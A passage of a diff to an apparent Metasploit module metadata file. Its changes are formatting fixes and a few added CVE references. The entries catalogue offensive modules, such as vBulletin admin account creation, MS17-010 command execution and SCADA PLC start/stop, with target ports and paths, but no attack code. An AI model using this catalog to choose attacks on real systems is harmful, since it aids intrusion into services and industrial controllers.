], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2010_020.rb", "is_install_path": true, @@ -2305,9 +2151,7 @@ "platform": "", "arch": "", "rport": "8503", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb", "is_install_path": true, @@ -2333,9 +2177,7 @@ "platform": "", "arch": "", "rport": "22006", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-15 16:31:09 +0000", "path": "/modules/auxiliary/admin/http/ulterius_file_download.rb", "is_install_path": true, @@ -2345,7 +2187,7 @@ "name": "vBulletin Administrator Account Creation", "full_name": "auxiliary/admin/http/vbulletin_upgrade_admin", "rank": 300, - "disclosure_date": "2013-10-09 00:00:00 -0500", + "disclosure_date": "2013-10-09", "type": "auxiliary", "author": [ "Unknown", @@ -2353,6 +2195,7 @@ ], "description": "This module abuses the \"install/upgrade.php\" component on vBulletin 4.1+ and 4.5+ to\n create a new administrator account, as exploited in the wild on October 2013. This module\n has been tested successfully on vBulletin 4.1.5 and 4.1.0.", "references": [ + "CVE-2013-6129", "URL-http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html", "OSVDB-98370", "URL-http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5" @@ -2362,9 +2205,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb", "is_install_path": true, @@ -2374,7 +2215,7 @@ "name": "WebNMS Framework Server Credential Disclosure", "full_name": "auxiliary/admin/http/webnms_cred_disclosure", "rank": 300, - "disclosure_date": "2016-07-04 00:00:00 -0500", + "disclosure_date": "2016-07-04", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -2391,9 +2232,7 @@ "platform": "", "arch": "", "rport": "9090", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/http/webnms_cred_disclosure.rb", "is_install_path": true, @@ -2403,7 +2242,7 @@ "name": "WebNMS Framework Server Arbitrary Text File Download", "full_name": "auxiliary/admin/http/webnms_file_download", "rank": 300, - "disclosure_date": "2016-07-04 00:00:00 -0500", + "disclosure_date": "2016-07-04", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -2419,9 +2258,7 @@ "platform": "", "arch": "", "rport": "9090", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/webnms_file_download.rb", "is_install_path": true, @@ -2431,7 +2268,7 @@ "name": "WordPress custom-contact-forms Plugin SQL Upload", "full_name": "auxiliary/admin/http/wp_custom_contact_forms", "rank": 300, - "disclosure_date": "2014-08-07 00:00:00 -0500", + "disclosure_date": "2014-08-07", "type": "auxiliary", "author": [ "Marc-Alexandre Montpas", @@ -2448,9 +2285,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/wp_custom_contact_forms.rb", "is_install_path": true, @@ -2460,7 +2295,7 @@ "name": "WordPress WP EasyCart Plugin Privilege Escalation", "full_name": "auxiliary/admin/http/wp_easycart_privilege_escalation", "rank": 300, - "disclosure_date": "2015-02-25 00:00:00 -0600", + "disclosure_date": "2015-02-25", "type": "auxiliary", "author": [ "Rob Carr " @@ -2476,9 +2311,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb", "is_install_path": true, @@ -2488,7 +2321,7 @@ "name": "WordPress Symposium Plugin SQL Injection", "full_name": "auxiliary/admin/http/wp_symposium_sql_injection", "rank": 300, - "disclosure_date": "2015-08-18 00:00:00 -0500", + "disclosure_date": "2015-08-18", "type": "auxiliary", "author": [ "PizzaHatHacker", @@ -2504,9 +2337,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/wp_symposium_sql_injection.rb", "is_install_path": true, @@ -2516,7 +2347,7 @@ "name": "WordPress WPLMS Theme Privilege Escalation", "full_name": "auxiliary/admin/http/wp_wplms_privilege_escalation", "rank": 300, - "disclosure_date": "2015-02-09 00:00:00 -0600", + "disclosure_date": "2015-02-09", "type": "auxiliary", "author": [ "Evex", @@ -2531,9 +2362,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb", "is_install_path": true, @@ -2558,9 +2387,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb", "is_install_path": true, @@ -2570,7 +2397,7 @@ "name": "MS14-068 Microsoft Kerberos Checksum Validation Vulnerability", "full_name": "auxiliary/admin/kerberos/ms14_068_kerberos_checksum", "rank": 300, - "disclosure_date": "2014-11-18 00:00:00 -0600", + "disclosure_date": "2014-11-18", "type": "auxiliary", "author": [ "Tom Maddock", @@ -2592,9 +2419,7 @@ "platform": "", "arch": "", "rport": "88", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb", "is_install_path": true, @@ -2604,7 +2429,7 @@ "name": "SAP MaxDB cons.exe Remote Command Injection", "full_name": "auxiliary/admin/maxdb/maxdb_cons_exec", "rank": 300, - "disclosure_date": "2008-01-09 00:00:00 -0600", + "disclosure_date": "2008-01-09", "type": "auxiliary", "author": [ "MC " @@ -2620,9 +2445,7 @@ "platform": "", "arch": "", "rport": "7210", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb", "is_install_path": true, @@ -2632,7 +2455,7 @@ "name": "SerComm Device Configuration Dump", "full_name": "auxiliary/admin/misc/sercomm_dump_config", "rank": 300, - "disclosure_date": "2013-12-31 00:00:00 -0600", + "disclosure_date": "2013-12-31", "type": "auxiliary", "author": [ "Eloi Vanderbeken ", @@ -2648,9 +2471,7 @@ "platform": "", "arch": "", "rport": "32764", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/misc/sercomm_dump_config.rb", "is_install_path": true, @@ -2674,9 +2495,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/misc/wol.rb", "is_install_path": true, @@ -2686,7 +2505,7 @@ "name": "Motorola WR850G v4.03 Credentials", "full_name": "auxiliary/admin/motorola/wr850g_cred", "rank": 300, - "disclosure_date": "2004-09-24 00:00:00 -0500", + "disclosure_date": "2004-09-24", "type": "auxiliary", "author": [ "kris katterjohn " @@ -2702,9 +2521,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/motorola/wr850g_cred.rb", "is_install_path": true, @@ -2714,7 +2531,7 @@ "name": "Microsoft Host Integration Server 2006 Command Execution Vulnerability", "full_name": "auxiliary/admin/ms/ms08_059_his2006", "rank": 300, - "disclosure_date": "2008-10-14 00:00:00 -0500", + "disclosure_date": "2008-10-14", "type": "auxiliary", "author": [ "MC " @@ -2731,9 +2548,7 @@ "platform": "", "arch": "", "rport": "0", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/ms/ms08_059_his2006.rb", "is_install_path": true, @@ -2757,9 +2572,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-16 21:40:03 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum.rb", "is_install_path": true, @@ -2784,9 +2597,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb", "is_install_path": true, @@ -2811,9 +2622,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb", "is_install_path": true, @@ -2837,9 +2646,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb", "is_install_path": true, @@ -2863,9 +2670,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb", "is_install_path": true, @@ -2889,9 +2694,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb", "is_install_path": true, @@ -2915,9 +2718,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb", "is_install_path": true, @@ -2941,9 +2742,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb", "is_install_path": true, @@ -2967,9 +2766,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_exec.rb", "is_install_path": true, @@ -2998,9 +2795,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb", "is_install_path": true, @@ -3024,9 +2819,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_idf.rb", "is_install_path": true, @@ -3050,9 +2843,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb", "is_install_path": true, @@ -3077,9 +2868,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb", "is_install_path": true, @@ -3104,9 +2893,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_sql.rb", "is_install_path": true, @@ -3130,9 +2917,7 @@ "platform": "", "arch": "", "rport": "1433", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_sql_file.rb", "is_install_path": true, @@ -3156,9 +2941,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mysql/mysql_enum.rb", "is_install_path": true, @@ -3182,9 +2965,7 @@ "platform": "", "arch": "", "rport": "3306", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/mysql/mysql_sql.rb", "is_install_path": true, @@ -3208,9 +2989,7 @@ "platform": "", "arch": "", "rport": "5351", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/natpmp/natpmp_map.rb", "is_install_path": true, @@ -3236,9 +3015,7 @@ "platform": "", "arch": "", "rport": "137", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/netbios/netbios_spoof.rb", "is_install_path": true, @@ -3266,9 +3043,7 @@ "platform": "", "arch": "", "rport": "26122", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/officescan/tmlisten_traversal.rb", "is_install_path": true, @@ -3278,7 +3053,7 @@ "name": "Oracle SMB Relay Code Execution", "full_name": "auxiliary/admin/oracle/ora_ntlm_stealer", "rank": 300, - "disclosure_date": "2009-04-07 00:00:00 -0500", + "disclosure_date": "2009-04-07", "type": "auxiliary", "author": [ "Sh2kerr " @@ -3292,9 +3067,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb", "is_install_path": true, @@ -3304,7 +3077,7 @@ "name": "Oracle Account Discovery", "full_name": "auxiliary/admin/oracle/oracle_login", "rank": 300, - "disclosure_date": "2008-11-20 00:00:00 -0600", + "disclosure_date": "2008-11-20", "type": "auxiliary", "author": [ "MC " @@ -3319,9 +3092,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_login.rb", "is_install_path": true, @@ -3331,7 +3102,7 @@ "name": "Oracle SQL Generic Query", "full_name": "auxiliary/admin/oracle/oracle_sql", "rank": 300, - "disclosure_date": "2007-12-07 00:00:00 -0600", + "disclosure_date": "2007-12-07", "type": "auxiliary", "author": [ "MC " @@ -3345,9 +3116,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/oracle/oracle_sql.rb", "is_install_path": true, @@ -3371,9 +3140,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/oraenum.rb", "is_install_path": true, @@ -3383,7 +3150,7 @@ "name": "Oracle Secure Backup exec_qr() Command Injection Vulnerability", "full_name": "auxiliary/admin/oracle/osb_execqr", "rank": 300, - "disclosure_date": "2009-01-14 00:00:00 -0600", + "disclosure_date": "2009-01-14", "type": "auxiliary", "author": [ "MC " @@ -3400,9 +3167,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/oracle/osb_execqr.rb", "is_install_path": true, @@ -3412,7 +3177,7 @@ "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "full_name": "auxiliary/admin/oracle/osb_execqr2", "rank": 300, - "disclosure_date": "2009-08-18 00:00:00 -0500", + "disclosure_date": "2009-08-18", "type": "auxiliary", "author": [ "MC " @@ -3431,9 +3196,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/osb_execqr2.rb", "is_install_path": true, @@ -3443,7 +3206,7 @@ "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "full_name": "auxiliary/admin/oracle/osb_execqr3", "rank": 300, - "disclosure_date": "2010-07-13 00:00:00 -0500", + "disclosure_date": "2010-07-13", "type": "auxiliary", "author": [ "MC " @@ -3459,9 +3222,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/osb_execqr3.rb", "is_install_path": true, @@ -3471,7 +3232,7 @@ "name": "Oracle Java execCommand (Win32)", "full_name": "auxiliary/admin/oracle/post_exploitation/win32exec", "rank": 300, - "disclosure_date": "2007-12-07 00:00:00 -0600", + "disclosure_date": "2007-12-07", "type": "auxiliary", "author": [ "MC " @@ -3485,9 +3246,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb", "is_install_path": true, @@ -3497,7 +3256,7 @@ "name": "Oracle URL Download", "full_name": "auxiliary/admin/oracle/post_exploitation/win32upload", "rank": 300, - "disclosure_date": "2005-02-10 00:00:00 -0600", + "disclosure_date": "2005-02-10", "type": "auxiliary", "author": [ "CG " @@ -3511,9 +3270,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb", "is_install_path": true, @@ -3523,7 +3280,7 @@ "name": "Oracle TNS Listener SID Brute Forcer", "full_name": "auxiliary/admin/oracle/sid_brute", "rank": 300, - "disclosure_date": "2009-01-07 00:00:00 -0600", + "disclosure_date": "2009-01-07", "type": "auxiliary", "author": [ "MC " @@ -3538,9 +3295,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/sid_brute.rb", "is_install_path": true, @@ -3550,7 +3305,7 @@ "name": "Oracle TNS Listener Command Issuer", "full_name": "auxiliary/admin/oracle/tnscmd", "rank": 300, - "disclosure_date": "2009-02-01 00:00:00 -0600", + "disclosure_date": "2009-02-01", "type": "auxiliary", "author": [ "MC " @@ -3564,9 +3319,7 @@ "platform": "", "arch": "", "rport": "1521", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/oracle/tnscmd.rb", "is_install_path": true, @@ -3576,7 +3329,7 @@ "name": "UoW pop2d Remote File Retrieval Vulnerability", "full_name": "auxiliary/admin/pop2/uw_fileretrieval", "rank": 300, - "disclosure_date": "2000-07-14 00:00:00 -0500", + "disclosure_date": "2000-07-14", "type": "auxiliary", "author": [ "aushack " @@ -3591,9 +3344,7 @@ "platform": "", "arch": "", "rport": "109", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/pop2/uw_fileretrieval.rb", "is_install_path": true, @@ -3617,9 +3368,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/postgres/postgres_readfile.rb", "is_install_path": true, @@ -3643,9 +3392,7 @@ "platform": "", "arch": "", "rport": "5432", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/postgres/postgres_sql.rb", "is_install_path": true, @@ -3655,7 +3402,7 @@ "name": "SAP ConfigServlet OS Command Execution", "full_name": "auxiliary/admin/sap/sap_configservlet_exec_noauth", "rank": 300, - "disclosure_date": "2012-11-01 00:00:00 -0500", + "disclosure_date": "2012-11-01", "type": "auxiliary", "author": [ "Dmitry Chastuhin", @@ -3672,9 +3419,7 @@ "platform": "", "arch": "", "rport": "50000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb", "is_install_path": true, @@ -3698,9 +3443,7 @@ "platform": "", "arch": "", "rport": "50013", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb", "is_install_path": true, @@ -3710,7 +3453,7 @@ "name": "Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection", "full_name": "auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli", "rank": 300, - "disclosure_date": "2014-04-08 00:00:00 -0500", + "disclosure_date": "2014-04-08", "type": "auxiliary", "author": [ "rgod ", @@ -3729,9 +3472,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb", "is_install_path": true, @@ -3741,7 +3482,7 @@ "name": "GE Proficy Cimplicity WebView substitute.bcl Directory Traversal", "full_name": "auxiliary/admin/scada/ge_proficy_substitute_traversal", "rank": 300, - "disclosure_date": "2013-01-22 00:00:00 -0600", + "disclosure_date": "2013-01-22", "type": "auxiliary", "author": [ "Unknown", @@ -3759,9 +3500,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb", "is_install_path": true, @@ -3771,7 +3510,7 @@ "name": "Schneider Modicon Remote START/STOP Command", "full_name": "auxiliary/admin/scada/modicon_command", "rank": 300, - "disclosure_date": "2012-04-05 00:00:00 -0500", + "disclosure_date": "2012-04-05", "type": "auxiliary", "author": [ "K. Reid Wightman ", @@ -3786,9 +3525,7 @@ "platform": "", "arch": "", "rport": "502", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/modicon_command.rb", "is_install_path": true, @@ -3798,7 +3535,7 @@ "name": "Schneider Modicon Quantum Password Recovery", "full_name": "auxiliary/admin/scada/modicon_password_recovery", "rank": 300, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "auxiliary", "author": [ "K. Reid Wightman ", @@ -3813,9 +3550,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/modicon_password_recovery.rb", "is_install_path": true, @@ -3825,7 +3560,7 @@ "name": "Schneider Modicon Ladder Logic Upload/Download", "full_name": "auxiliary/admin/scada/modicon_stux_transfer", "rank": 300, - "disclosure_date": "2012-04-05 00:00:00 -0500", + "disclosure_date": "2012-04-05", "type": "auxiliary", "author": [ "K. Reid Wightman ", @@ -3840,9 +3575,7 @@ "platform": "", "arch": "", "rport": "502", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/modicon_stux_transfer.rb", "is_install_path": true, @@ -3852,7 +3585,7 @@ "name": "Moxa Device Credential Retrieval", "full_name": "auxiliary/admin/scada/moxa_credentials_recovery", "rank": 300, - "disclosure_date": "2015-07-28 00:00:00 -0500", + "disclosure_date": "2015-07-28", "type": "auxiliary", "author": [ "Patrick DeSantis ", @@ -3871,9 +3604,7 @@ "platform": "", "arch": "", "rport": "4800", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb", "is_install_path": true, @@ -3883,7 +3614,7 @@ "name": "Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands", "full_name": "auxiliary/admin/scada/multi_cip_command", "rank": 300, - "disclosure_date": "2012-01-19 00:00:00 -0600", + "disclosure_date": "2012-01-19", "type": "auxiliary", "author": [ "Ruben Santamarta ", @@ -3899,9 +3630,7 @@ "platform": "", "arch": "", "rport": "44818", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/admin/scada/multi_cip_command.rb", "is_install_path": true, @@ -3911,7 +3640,7 @@ "name": "PhoenixContact PLC Remote START/STOP Command", "full_name": "auxiliary/admin/scada/phoenix_command", "rank": 300, - "disclosure_date": "2015-05-20 00:00:00 -0500", + "disclosure_date": "2015-05-20", "type": "auxiliary", "author": [ "Tijl Deneut " @@ -3926,9 +3655,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/scada/phoenix_command.rb", "is_install_path": true, @@ -3938,13 +3665,14 @@ "name": "Yokogawa BKBCopyD.exe Client", "full_name": "auxiliary/admin/scada/yokogawa_bkbcopyd_client", "rank": 300, - "disclosure_date": "2014-08-09 00:00:00 -0500", + "disclosure_date": "2014-08-09", "type": "auxiliary", "author": [ "Unknown" ], "description": "This module allows an unauthenticated user to interact with the Yokogawa\n CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR\n operations.", "references": [ + "CVE-2014-5208", "URL-https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access" ], "is_server": false, @@ -3952,9 +3680,7 @@ "platform": "", "arch": "", "rport": "20111", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-08 19:00:11 +0000", "path": "/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb", "is_install_path": true, @@ -3980,9 +3706,7 @@ "platform": "", "arch": "", "rport": "5168", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/serverprotect/file.rb", "is_install_path": true, @@ -4007,9 +3731,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-09 03:00:24 +0000", "path": "/modules/auxiliary/admin/smb/check_dir_file.rb", "is_install_path": true, @@ -4033,9 +3755,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/smb/delete_file.rb", "is_install_path": true, @@ -4059,9 +3779,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-07 00:13:11 +0000", "path": "/modules/auxiliary/admin/smb/download_file.rb", "is_install_path": true, @@ -4086,9 +3804,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/smb/list_directory.rb", "is_install_path": true, @@ -4098,7 +3814,7 @@ "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution", "full_name": "auxiliary/admin/smb/ms17_010_command", "rank": 300, - "disclosure_date": "2017-03-14 00:00:00 -0500", + "disclosure_date": "2017-03-14", "type": "auxiliary", "author": [ "sleepya", @@ -4125,9 +3841,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-27 10:49:04 +0000", "path": "/modules/auxiliary/admin/smb/ms17_010_command.rb", "is_install_path": true, @@ -4155,9 +3869,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-27 20:58:25 +0000", "path": "/modules/auxiliary/admin/smb/psexec_command.rb", "is_install_path": true, @@ -4182,9 +3894,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-01 22:39:14 +0000", "path": "/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb", "is_install_path": true, @@ -4202,6 +3912,7 @@ ], "description": "This module exploits a directory traversal flaw in the Samba\n CIFS server. To exploit this flaw, a writeable share must be specified.\n The newly created directory will link to the root filesystem.", "references": [ + "CVE-2010-0926", "OSVDB-62145", "URL-http://www.samba.org/samba/news/symlink_attack.html" ], @@ -4210,9 +3921,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/smb/samba_symlink_traversal.rb", "is_install_path": true, @@ -4236,9 +3945,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-07 00:13:11 +0000", "path": "/modules/auxiliary/admin/smb/upload_file.rb", "is_install_path": true, @@ -4248,7 +3955,7 @@ "name": "Solaris KCMS + TTDB Arbitrary File Read", "full_name": "auxiliary/admin/sunrpc/solaris_kcms_readfile", "rank": 300, - "disclosure_date": "2003-01-22 00:00:00 -0600", + "disclosure_date": "2003-01-22", "type": "auxiliary", "author": [ "vlad902 ", @@ -4266,9 +3973,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb", "is_install_path": true, @@ -4278,7 +3983,7 @@ "name": "Teradata ODBC SQL Query Module", "full_name": "auxiliary/admin/teradata/teradata_odbc_sql", "rank": 300, - "disclosure_date": "2018-03-29 00:00:00 +0000", + "disclosure_date": "2018-03-29", "type": "auxiliary", "author": [ "Ted Raffle (actuated)" @@ -4294,9 +3999,7 @@ "platform": "", "arch": "", "rport": "1025", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 15:34:29 +0000", "path": "/modules/auxiliary/admin/teradata/teradata_odbc_sql.py", "is_install_path": true, @@ -4321,9 +4024,7 @@ "platform": "", "arch": "", "rport": "69", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/admin/tftp/tftp_transfer_util.rb", "is_install_path": true, @@ 